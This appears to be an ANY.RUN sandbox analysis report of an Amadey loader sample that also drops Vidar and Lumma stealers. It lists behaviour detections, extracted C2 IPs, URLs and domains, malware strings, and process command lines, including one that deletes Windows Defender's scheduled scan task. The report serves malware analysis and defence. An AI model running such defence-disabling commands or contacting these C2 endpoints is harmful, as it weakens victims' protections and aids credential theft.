File name:

Sigmanly_00a1c9b1fd22191aae89c1c94bd11a852752c94e621856f2d4fb0b3e6f74a154

Full analysis: https://app.any.run/tasks/11ecb9d5-9297-4d87-bfb3-1fb7232fd19e
Verdict: Malicious activity
Threats:

Amadey is a formidable Windows infostealer threat, characterized by its persistence mechanisms, modular design, and ability to execute various malicious tasks.

Malware Trends Tracker     >>>
Analysis date: May 15, 2025, 13:17:36
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
amadey
botnet
stealer
loader
rdp
themida
telegram
vidar
lumma
credentialflusher
auto-sch
auto-reg
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386, for MS Windows, 6 sections
MD5:

65FA584F806D18C3FDA9F68EA7E08979

SHA1:

9AF3809F45CD95336AC238CEB84BB09B7A7605C3

SHA256:

00A1C9B1FD22191AAE89C1C94BD11A852752C94E621856F2D4FB0B3E6F74A154

SSDEEP:

98304:hbTI2BF5i6CfmDLvCGoibnuIJYueWeqlVuhmBMoxQbF+eH5P/i9LTnQsOm:5wCMe

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Connects to the CnC server

      • ramez.exe (PID: 7772)
      • svchost.exe (PID: 2196)

    • AMADEY mutex has been found

      • ramez.exe (PID: 7772)
      • Sigmanly_00a1c9b1fd22191aae89c1c94bd11a852752c94e621856f2d4fb0b3e6f74a154.exe (PID: 7580)
      • ramez.exe (PID: 7944)

    • AMADEY has been detected (SURICATA)

      • ramez.exe (PID: 7772)

    • VIDAR mutex has been found

      • MSBuild.exe (PID: 5332)

    • AMADEY has been detected (YARA)

      • ramez.exe (PID: 7772)

    • LUMMA mutex has been found

      • MSBuild.exe (PID: 4868)
      • 57265e94e9.exe (PID: 5936)

    • Steals credentials from Web Browsers

      • MSBuild.exe (PID: 4868)
      • MSBuild.exe (PID: 5332)
      • 57265e94e9.exe (PID: 5936)

    • Actions looks like stealing of personal data

      • MSBuild.exe (PID: 5332)
      • MSBuild.exe (PID: 4868)
      • 57265e94e9.exe (PID: 5936)

    • Changes the autorun value in the registry

      • ramez.exe (PID: 7772)

    • VIDAR has been detected (YARA)

      • MSBuild.exe (PID: 5332)

    • LUMMA has been detected (SURICATA)

      • 57265e94e9.exe (PID: 5936)
      • svchost.exe (PID: 2196)

    • Adds path to the Windows Defender exclusion list

      • cmd.exe (PID: 7144)
      • NSudoLG.exe (PID: 8104)

    • Changes Windows Defender settings

      • NSudoLG.exe (PID: 8104)

    • LUMMA has been detected (YARA)

      • MSBuild.exe (PID: 4868)
      • 57265e94e9.exe (PID: 5936)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 8656)

    • Possible tool for stealing has been detected

      • fcc16f8b78.exe (PID: 7448)
      • firefox.exe (PID: 9696)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 8928)

    • Request from PowerShell that ran from MSHTA.EXE

      • powershell.exe (PID: 8656)

    • Starts SC.EXE for service management

      • cmd.exe (PID: 7144)

  • SUSPICIOUS

    • Connects to the server without a host name

      • ramez.exe (PID: 7772)
      • 57265e94e9.exe (PID: 5936)
      • powershell.exe (PID: 8656)

    • Reads security settings of Internet Explorer

      • ramez.exe (PID: 7772)
      • Sigmanly_00a1c9b1fd22191aae89c1c94bd11a852752c94e621856f2d4fb0b3e6f74a154.exe (PID: 7580)
      • 940d90a66e.tmp (PID: 6488)
      • MSBuild.exe (PID: 5332)
      • 31984389cb.exe (PID: 8100)
      • nircmd.exe (PID: 7348)

    • Reads the BIOS version

      • ramez.exe (PID: 7772)
      • Sigmanly_00a1c9b1fd22191aae89c1c94bd11a852752c94e621856f2d4fb0b3e6f74a154.exe (PID: 7580)
      • ramez.exe (PID: 7944)
      • 57265e94e9.exe (PID: 5936)

    • Starts itself from another location

      • Sigmanly_00a1c9b1fd22191aae89c1c94bd11a852752c94e621856f2d4fb0b3e6f74a154.exe (PID: 7580)

    • Executable content was dropped or overwritten

      • Sigmanly_00a1c9b1fd22191aae89c1c94bd11a852752c94e621856f2d4fb0b3e6f74a154.exe (PID: 7580)
      • 940d90a66e.exe (PID: 976)
      • 940d90a66e.tmp (PID: 6488)
      • ramez.exe (PID: 7772)
      • 31984389cb.exe (PID: 8100)
      • csc.exe (PID: 728)
      • csc.exe (PID: 5772)
      • csc.exe (PID: 8800)
      • csc.exe (PID: 208)
      • csc.exe (PID: 8080)
      • csc.exe (PID: 10060)
      • csc.exe (PID: 9284)
      • csc.exe (PID: 6248)
      • csc.exe (PID: 5156)
      • csc.exe (PID: 9912)
      • csc.exe (PID: 9564)
      • csc.exe (PID: 9820)
      • 57265e94e9.exe (PID: 5936)
      • csc.exe (PID: 6808)
      • csc.exe (PID: 8704)
      • csc.exe (PID: 8804)
      • 7z.exe (PID: 9072)
      • Unlocker.exe (PID: 8224)
      • powershell.exe (PID: 8656)
      • cmd.exe (PID: 7144)

    • Contacting a server suspected of hosting an CnC

      • ramez.exe (PID: 7772)
      • 57265e94e9.exe (PID: 5936)
      • svchost.exe (PID: 2196)

    • The process executes via Task Scheduler

      • ramez.exe (PID: 7944)
      • ramez.exe (PID: 8548)
      • ramez.exe (PID: 7212)

    • Reads the Windows owner or organization settings

      • 940d90a66e.tmp (PID: 6488)

    • Process requests binary or script from the Internet

      • ramez.exe (PID: 7772)
      • 57265e94e9.exe (PID: 5936)
      • powershell.exe (PID: 8656)

    • Potential Corporate Privacy Violation

      • ramez.exe (PID: 7772)
      • 57265e94e9.exe (PID: 5936)
      • powershell.exe (PID: 8656)

    • Executes application which crashes

      • core.exe (PID: 6040)
      • 5f031722c5.exe (PID: 1812)

    • Process communicates with Telegram (possibly using it as an attacker's C2 server)

      • MSBuild.exe (PID: 5332)
      • MSBuild.exe (PID: 4868)

    • There is functionality for enable RDP (YARA)

      • ramez.exe (PID: 7772)

    • There is functionality for taking screenshot (YARA)

      • MSBuild.exe (PID: 5332)
      • MSBuild.exe (PID: 4868)

    • The process bypasses the loading of PowerShell profile settings

      • MSBuild.exe (PID: 5332)

    • Starts POWERSHELL.EXE for commands execution

      • MSBuild.exe (PID: 5332)
      • NSudoLG.exe (PID: 8104)
      • mshta.exe (PID: 8940)

    • Searches for installed software

      • MSBuild.exe (PID: 5332)
      • MSBuild.exe (PID: 4868)

    • Base64-obfuscated command line is found

      • MSBuild.exe (PID: 5332)

    • Multiple wallet extension IDs have been found

      • MSBuild.exe (PID: 5332)

    • BASE64 encoded PowerShell command has been detected

      • MSBuild.exe (PID: 5332)

    • Drops 7-zip archiver for unpacking

      • 31984389cb.exe (PID: 8100)

    • The process hide an interactive prompt from the user

      • MSBuild.exe (PID: 5332)

    • The process creates files with name similar to system file names

      • 31984389cb.exe (PID: 8100)

    • Starts CMD.EXE for commands execution

      • 31984389cb.exe (PID: 8100)
      • cmd.exe (PID: 7412)
      • NSudoLG.exe (PID: 4892)
      • nircmd.exe (PID: 7348)
      • cmd.exe (PID: 896)
      • cmd.exe (PID: 7144)
      • cmd.exe (PID: 5800)
      • 2c345c4023.exe (PID: 8844)
      • Unlocker.exe (PID: 8368)
      • Unlocker.exe (PID: 8224)
      • Unlocker.exe (PID: 9236)

    • The executable file from the user directory is run by the CMD process

      • nircmd.exe (PID: 7348)
      • NSudoLG.exe (PID: 4892)
      • NSudoLG.exe (PID: 8104)
      • 7z.exe (PID: 9072)
      • Unlocker.exe (PID: 8368)
      • Unlocker.exe (PID: 8224)
      • Unlocker.exe (PID: 9236)

    • Reads the date of Windows installation

      • nircmd.exe (PID: 7348)

    • Executing commands from a ".bat" file

      • 31984389cb.exe (PID: 8100)
      • cmd.exe (PID: 7412)
      • NSudoLG.exe (PID: 4892)
      • nircmd.exe (PID: 7348)
      • cmd.exe (PID: 896)
      • cmd.exe (PID: 5800)

    • Application launched itself

      • cmd.exe (PID: 7412)
      • cmd.exe (PID: 896)
      • cmd.exe (PID: 7144)
      • cmd.exe (PID: 5800)

    • Starts application with an unusual extension

      • cmd.exe (PID: 7152)
      • cmd.exe (PID: 1040)
      • cmd.exe (PID: 7144)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 1040)
      • cmd.exe (PID: 7144)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 5756)

    • Get information on the list of running processes

      • cmd.exe (PID: 7144)
      • cmd.exe (PID: 7260)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 728)
      • csc.exe (PID: 208)
      • csc.exe (PID: 5772)
      • csc.exe (PID: 8800)
      • csc.exe (PID: 8080)
      • csc.exe (PID: 9564)
      • csc.exe (PID: 9820)
      • csc.exe (PID: 10060)
      • csc.exe (PID: 9284)
      • csc.exe (PID: 6248)
      • csc.exe (PID: 5156)
      • csc.exe (PID: 9912)
      • csc.exe (PID: 8704)
      • csc.exe (PID: 6808)
      • csc.exe (PID: 8804)

    • Gets content of a file (POWERSHELL)

      • powershell.exe (PID: 5756)

    • PowerShell delay command usage (probably sleep evasion)

      • powershell.exe (PID: 7456)

    • Script adds exclusion path to Windows Defender

      • NSudoLG.exe (PID: 8104)

    • Uses TASKKILL.EXE to kill Browsers

      • fcc16f8b78.exe (PID: 7448)

    • Starts process via Powershell

      • powershell.exe (PID: 8656)

    • Probably download files using WebClient

      • mshta.exe (PID: 8940)

    • Found IP address in command line

      • powershell.exe (PID: 8656)

    • Uses TASKKILL.EXE to kill process

      • fcc16f8b78.exe (PID: 7448)
      • cmd.exe (PID: 9492)
      • cmd.exe (PID: 9012)
      • cmd.exe (PID: 5132)

    • Manipulates environment variables

      • powershell.exe (PID: 8656)

    • Using 'findstr.exe' to search for text patterns in files and output

      • cmd.exe (PID: 7144)

    • Windows service management via SC.EXE

      • sc.exe (PID: 8856)
      • sc.exe (PID: 9808)
      • sc.exe (PID: 5640)
      • sc.exe (PID: 8220)
      • sc.exe (PID: 9228)
      • sc.exe (PID: 9704)
      • sc.exe (PID: 7544)
      • sc.exe (PID: 7012)
      • sc.exe (PID: 4920)
      • sc.exe (PID: 8872)
      • sc.exe (PID: 9788)
      • sc.exe (PID: 8892)
      • sc.exe (PID: 9932)
      • sc.exe (PID: 8288)
      • sc.exe (PID: 9568)
      • sc.exe (PID: 9112)
      • sc.exe (PID: 7000)
      • sc.exe (PID: 7444)
      • sc.exe (PID: 8672)
      • sc.exe (PID: 2340)
      • sc.exe (PID: 8460)
      • sc.exe (PID: 7692)
      • sc.exe (PID: 9560)
      • sc.exe (PID: 8276)
      • sc.exe (PID: 8668)
      • sc.exe (PID: 1764)
      • sc.exe (PID: 9408)
      • sc.exe (PID: 8232)
      • sc.exe (PID: 7624)
      • sc.exe (PID: 2804)
      • sc.exe (PID: 8568)
      • sc.exe (PID: 4692)
      • sc.exe (PID: 2144)
      • sc.exe (PID: 7644)
      • sc.exe (PID: 2592)
      • sc.exe (PID: 2600)
      • sc.exe (PID: 8792)
      • sc.exe (PID: 8312)
      • sc.exe (PID: 9152)
      • sc.exe (PID: 9548)
      • sc.exe (PID: 8016)

    • Starts SC.EXE for service management

      • cmd.exe (PID: 3024)
      • cmd.exe (PID: 924)
      • cmd.exe (PID: 8816)
      • cmd.exe (PID: 7144)
      • cmd.exe (PID: 8812)

    • Drops a system driver (possible attempt to evade defenses)

      • Unlocker.exe (PID: 8224)

    • Stops a currently running service

      • sc.exe (PID: 8436)
      • sc.exe (PID: 7344)
      • sc.exe (PID: 2268)
      • sc.exe (PID: 7260)
      • sc.exe (PID: 9564)
      • sc.exe (PID: 3020)
      • sc.exe (PID: 1388)
      • sc.exe (PID: 8328)
      • sc.exe (PID: 8440)
      • sc.exe (PID: 8316)
      • sc.exe (PID: 9156)
      • sc.exe (PID: 8212)
      • sc.exe (PID: 2440)
      • sc.exe (PID: 2412)
      • sc.exe (PID: 1532)
      • sc.exe (PID: 6208)
      • sc.exe (PID: 9228)

    • Deletes scheduled task without confirmation

      • schtasks.exe (PID: 668)
      • schtasks.exe (PID: 9260)
      • schtasks.exe (PID: 9264)
      • schtasks.exe (PID: 2284)
      • schtasks.exe (PID: 7348)

    • Process drops legitimate windows executable

      • cmd.exe (PID: 7144)

  • INFO

    • Checks proxy server information

      • ramez.exe (PID: 7772)
      • MSBuild.exe (PID: 5332)

    • Process checks computer location settings

      • Sigmanly_00a1c9b1fd22191aae89c1c94bd11a852752c94e621856f2d4fb0b3e6f74a154.exe (PID: 7580)
      • 940d90a66e.tmp (PID: 6488)
      • ramez.exe (PID: 7772)
      • 31984389cb.exe (PID: 8100)
      • nircmd.exe (PID: 7348)

    • Reads the computer name

      • Sigmanly_00a1c9b1fd22191aae89c1c94bd11a852752c94e621856f2d4fb0b3e6f74a154.exe (PID: 7580)
      • ramez.exe (PID: 7772)
      • 940d90a66e.tmp (PID: 6488)
      • MSBuild.exe (PID: 5332)
      • MSBuild.exe (PID: 4868)
      • 57265e94e9.exe (PID: 5936)
      • 31984389cb.exe (PID: 8100)
      • nircmd.exe (PID: 7348)
      • NSudoLG.exe (PID: 4892)

    • Checks supported languages

      • Sigmanly_00a1c9b1fd22191aae89c1c94bd11a852752c94e621856f2d4fb0b3e6f74a154.exe (PID: 7580)
      • ramez.exe (PID: 7944)
      • 940d90a66e.exe (PID: 976)
      • 940d90a66e.tmp (PID: 6488)
      • core.exe (PID: 6040)
      • ramez.exe (PID: 7772)
      • MSBuild.exe (PID: 5332)
      • info.exe (PID: 7316)
      • 5f031722c5.exe (PID: 1812)
      • MSBuild.exe (PID: 4868)
      • 57265e94e9.exe (PID: 5936)
      • 31984389cb.exe (PID: 8100)
      • nircmd.exe (PID: 7348)
      • chcp.com (PID: 7144)
      • chcp.com (PID: 7208)
      • NSudoLG.exe (PID: 4892)
      • mode.com (PID: 5360)
      • csc.exe (PID: 728)
      • chcp.com (PID: 7324)
      • NSudoLG.exe (PID: 8104)
      • fcc16f8b78.exe (PID: 7448)
      • cvtres.exe (PID: 5728)

    • Create files in a temporary directory

      • ramez.exe (PID: 7772)
      • 940d90a66e.exe (PID: 976)
      • 940d90a66e.tmp (PID: 6488)
      • MSBuild.exe (PID: 5332)
      • powershell.exe (PID: 5756)
      • 31984389cb.exe (PID: 8100)
      • csc.exe (PID: 728)
      • cvtres.exe (PID: 5728)

    • Creates files or folders in the user directory

      • 940d90a66e.tmp (PID: 6488)
      • ramez.exe (PID: 7772)
      • WerFault.exe (PID: 3100)
      • WerFault.exe (PID: 7356)
      • MSBuild.exe (PID: 5332)

    • Creates a software uninstall entry

      • 940d90a66e.tmp (PID: 6488)

    • Themida protector has been detected

      • ramez.exe (PID: 7772)
      • 57265e94e9.exe (PID: 5936)

    • Attempting to use instant messaging service

      • MSBuild.exe (PID: 5332)
      • MSBuild.exe (PID: 4868)

    • Creates files in the program directory

      • MSBuild.exe (PID: 5332)

    • Reads the software policy settings

      • MSBuild.exe (PID: 5332)
      • MSBuild.exe (PID: 4868)
      • 57265e94e9.exe (PID: 5936)
      • powershell.exe (PID: 5756)

    • Reads product name

      • MSBuild.exe (PID: 5332)

    • Reads the machine GUID from the registry

      • MSBuild.exe (PID: 5332)
      • MSBuild.exe (PID: 4868)
      • 57265e94e9.exe (PID: 5936)
      • csc.exe (PID: 728)

    • Auto-launch of the file from Registry key

      • ramez.exe (PID: 7772)

    • Reads CPU info

      • MSBuild.exe (PID: 5332)

    • Reads Environment values

      • MSBuild.exe (PID: 5332)

    • Application launched itself

      • chrome.exe (PID: 5260)
      • chrome.exe (PID: 4164)
      • chrome.exe (PID: 8236)
      • chrome.exe (PID: 8388)
      • chrome.exe (PID: 8572)
      • chrome.exe (PID: 8724)
      • chrome.exe (PID: 9180)
      • chrome.exe (PID: 8904)
      • chrome.exe (PID: 7696)
      • chrome.exe (PID: 7380)
      • chrome.exe (PID: 6656)
      • chrome.exe (PID: 8760)
      • firefox.exe (PID: 9776)
      • chrome.exe (PID: 9724)
      • chrome.exe (PID: 9308)
      • chrome.exe (PID: 9056)
      • firefox.exe (PID: 9696)

    • Reads security settings of Internet Explorer

      • powershell.exe (PID: 5756)

    • The sample compiled with english language support

      • 31984389cb.exe (PID: 8100)
      • Unlocker.exe (PID: 8224)
      • cmd.exe (PID: 7144)

    • NirSoft software is detected

      • nircmd.exe (PID: 7348)

    • Changes the display of characters in the console

      • cmd.exe (PID: 7152)
      • cmd.exe (PID: 1040)
      • cmd.exe (PID: 7144)

    • Starts MODE.COM to configure console settings

      • mode.com (PID: 5360)

    • Checks operating system version

      • cmd.exe (PID: 7144)

    • Reads mouse settings

      • fcc16f8b78.exe (PID: 7448)

    • Auto-launch of the file from Task Scheduler

      • cmd.exe (PID: 8928)

    • The executable file from the user directory is run by the Powershell process

      • TempJ9FQCDVAEBZ2DBSXGJNDRV1HEBYLVCRT.EXE (PID: 7748)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Amadey

(PID) Process(7772) ramez.exe
C2185.156.72.96
URLhttp://185.156.72.96/te4h2nus/index.php
Version5.34
Options
Drop directoryd610cf342e
Drop nameramez.exe
Strings (125)lv:
msi
Kaspersky Lab
av:
|
#
"
\App
00000422
dm:
Powershell.exe
ProgramData\
ps1
rundll32
http://
Content-Disposition: form-data; name="data"; filename="
SOFTWARE\Microsoft\Windows NT\CurrentVersion
dll
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
id:
VideoID
cred.dll|clip.dll|
0000043f
cmd
00000423
SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
-executionpolicy remotesigned -File "
2022
------
2016
og:
\0000
CurrentBuild
2019
:::
S-%lu-
" && timeout 1 && del
ProductName
Panda Security
ESET
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
/k
+++
?scr=1
Doctor Web
GET
SYSTEM\ControlSet001\Services\BasicDisplay\Video
/quiet
.jpg
d610cf342e
vs:
sd:
rundll32.exe
"taskkill /f /im "
pc:
random
=
360TotalSecurity
<d>
wb
Content-Type: multipart/form-data; boundary=----
Startup
Norton
&& Exit"
os:
https://
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
2025
Avira
%-lu
zip
POST
" Content-Type: application/octet-stream
Rem
/te4h2nus/index.php
------
5.34
<c>
clip.dll
AVAST Software
\
shell32.dll
" && ren
e3
ramez.exe
kernel32.dll
DefaultSettings.XResolution
d1
DefaultSettings.YResolution
185.156.72.96
r=
cred.dll
--
GetNativeSystemInfo
-%lu
ComputerName
&unit=
Keyboard Layout\Preload
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
ar:
Sophos
%USERPROFILE%
exe
e1
e2
st=s
Programs
0123456789
un:
rb
bi:
abcdefghijklmnopqrstuvwxyz0123456789-_
SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
cmd /C RMDIR /s/q
Bitdefender
-unicode-
AVG
WinDefender
&&
shutdown -s -t 0
Comodo
00000419
Content-Type: application/x-www-form-urlencoded
/Plugins/
Main

Vidar

(PID) Process(5332) MSBuild.exe
C2https://t.me/eom25h
URLhttps://steamcommunity.com/profiles/76561199855598339
RC43333333333333333UUUUUUUUUUUUUUUU
Strings (1)

Lumma

(PID) Process(4868) MSBuild.exe
C2 (10)emphatakpn.bet/ladk
featurlyin.top/pdal
https://t.me/coscossk
overcovtcg.top/juhd
laminaflbx.shop/twoq
anesthwtcm.run/ladj
posseswsnc.top/akds
testcawepr.run/dsap
saxecocnak.live/manj
blackswmxc.top/bgry
(PID) Process(5936) 57265e94e9.exe
C2 (9)emphatakpn.bet/ladk
featurlyin.top/pdal
overcovtcg.top/juhd
laminaflbx.shop/twoq
cornerdurv.top/adwq
testcawepr.run/dsap
saxecocnak.live/manj
posseswsnc.top/akds
blackswmxc.top/bgry
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (64.6)
.dll | Win32 Dynamic Link Library (generic) (15.4)
.exe | Win32 Executable (generic) (10.5)
.exe | Generic Win/DOS Executable (4.6)
.exe | DOS Executable Generic (4.6)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2025:05:01 04:57:19+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14.29
CodeSize: 317952
InitializedDataSize: 107520
UninitializedDataSize: -
EntryPoint: 0x322000
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
476
Monitored processes
338
Malicious processes
27
Suspicious processes
6

Behavior graph

Click at the process to see the details
start sigmanly_00a1c9b1fd22191aae89c1c94bd11a852752c94e621856f2d4fb0b3e6f74a154.exe #AMADEY ramez.exe ramez.exe no specs 940d90a66e.exe 940d90a66e.tmp info.exe conhost.exe no specs core.exe #VIDAR msbuild.exe 5f031722c5.exe werfault.exe no specs #LUMMA msbuild.exe werfault.exe no specs #LUMMA 57265e94e9.exe #LUMMA svchost.exe chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs 31984389cb.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs cmd.exe no specs conhost.exe no specs chrome.exe no specs cmd.exe no specs conhost.exe no specs chcp.com no specs chrome.exe no specs chrome.exe no specs reg.exe no specs nircmd.exe no specs cmd.exe conhost.exe no specs cmd.exe no specs conhost.exe no specs chcp.com no specs reg.exe no specs reg.exe no specs nsudolg.exe no specs cmd.exe conhost.exe no specs cmd.exe conhost.exe no specs chcp.com no specs reg.exe no specs reg.exe no specs mode.com no specs cmd.exe no specs reg.exe no specs csc.exe find.exe no specs cmd.exe no specs tasklist.exe no specs cvtres.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs find.exe no specs nsudolg.exe no specs powershell.exe no specs conhost.exe no specs #CREDENTIALFLUSHER fcc16f8b78.exe no specs taskkill.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs taskkill.exe no specs conhost.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs powershell.exe no specs chrome.exe no specs conhost.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs 2c345c4023.exe no specs chrome.exe no specs powershell.exe no specs cmd.exe no specs mshta.exe no specs conhost.exe no specs chrome.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs powershell.exe conhost.exe no specs csc.exe chrome.exe powershell.exe no specs chrome.exe no specs conhost.exe no specs cvtres.exe no specs taskkill.exe no specs conhost.exe no specs schtasks.exe no specs csc.exe chrome.exe no specs chrome.exe chrome.exe no specs csc.exe chrome.exe no specs chrome.exe no specs csc.exe chrome.exe no specs chrome.exe no specs cvtres.exe no specs cvtres.exe no specs cvtres.exe no specs taskkill.exe no specs conhost.exe no specs csc.exe cvtres.exe no specs chrome.exe no specs chrome.exe no specs #CREDENTIALFLUSHER firefox.exe no specs firefox.exe csc.exe cvtres.exe no specs firefox.exe no specs csc.exe firefox.exe no specs csc.exe cvtres.exe no specs firefox.exe no specs csc.exe cvtres.exe no specs reg.exe no specs find.exe no specs cvtres.exe no specs csc.exe firefox.exe no specs cvtres.exe no specs chrome.exe no specs chrome.exe no specs firefox.exe no specs firefox.exe no specs powershell.exe no specs conhost.exe no specs csc.exe chrome.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs cvtres.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs cmd.exe no specs findstr.exe no specs q8lj1dp3lag07mx9327y0ysvydysi.exe no specs 7z.exe slui.exe unlocker.exe no specs csc.exe csc.exe cvtres.exe no specs cvtres.exe no specs csc.exe cvtres.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs sc.exe no specs find.exe no specs sc.exe no specs sc.exe no specs unlocker.exe cmd.exe no specs conhost.exe no specs sc.exe no specs iobitunlocker.exe no specs ramez.exe no specs iobitunlocker.exe no specs tempj9fqcdvaebz2dbsxgjndrv1hebylvcrt.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs unlocker.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs sc.exe no specs sc.exe no specs ramez.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
208"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\v0apkxpy.cmdline"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\csc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
668schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /fC:\Windows\System32\schtasks.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Task Scheduler Configuration Tool
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
680reg query "HKLM\System\CurrentControlSet\Services\MsSecCore" C:\Windows\System32\reg.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Registry Console Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\reg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
684"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=4740 --field-trial-handle=2004,i,12043099733845876796,7962000197231924190,262144 --variations-seed-version /prefetch:8C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
122.0.6261.70
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
